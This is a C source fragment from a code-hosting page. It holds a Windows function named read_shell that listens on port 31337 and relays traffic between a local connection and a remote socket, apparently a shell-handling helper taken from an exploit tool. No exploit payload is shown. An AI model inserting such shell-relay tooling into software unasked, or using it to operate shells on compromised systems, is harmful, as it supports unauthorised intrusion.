90 lines
1.4 KiB
C
90 lines
1.4 KiB
C
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VOID read_shell(SOCKET remote)
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{
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SOCKET srv, local = 0, from, to, high;
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struct sockaddr_in s;
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CHAR buf[8192];
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int on = 1, bytes;
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fd_set fdread;
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struct timeval tv;
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char passphrase[9];
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fflush(stdout);
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do
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{
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if ((srv = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
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{
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printf("socket\n");
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break;
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}
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s.sin_family = AF_INET;
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s.sin_port = htons(31337);
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s.sin_addr.s_addr = INADDR_ANY;
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setsockopt(srv, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on));
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if (bind(srv, (struct sockaddr *)&s, sizeof(s)) < 0)
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{
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printf("bind\n");
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break;
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}
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if (listen(srv, 1) < 0)
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{
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printf("listen\n");
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break;
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}
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local = accept(srv, NULL, NULL);
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} while (0);
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high = local;
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if (remote > high)
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high = remote;
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printf("[*] Forwarding local=%d<->remote=%d...\n", local, remote);
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while ((local) && (remote))
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{
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FD_ZERO(&fdread);
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FD_SET(local, &fdread);
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FD_SET(remote, &fdread);
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tv.tv_sec = 1;
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tv.tv_usec = 0;
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if (select(high + 1, &fdread, NULL, NULL, &tv) < 0)
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break;
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if (FD_ISSET(remote, &fdread))
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{
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from = remote;
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to = local;
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}
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else
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{
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from = local;
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to = remote;
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}
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ioctlsocket(from, FIONREAD, &bytes);
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if ((bytes = recv(from, buf, sizeof(buf), 0)) <= 0)
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break;
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if (send(to, buf, bytes, 0) < 0)
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{
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printf("send failed, %lu\n", GetLastError());
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break;
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}
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}
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printf("[*] Finished\n");
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}
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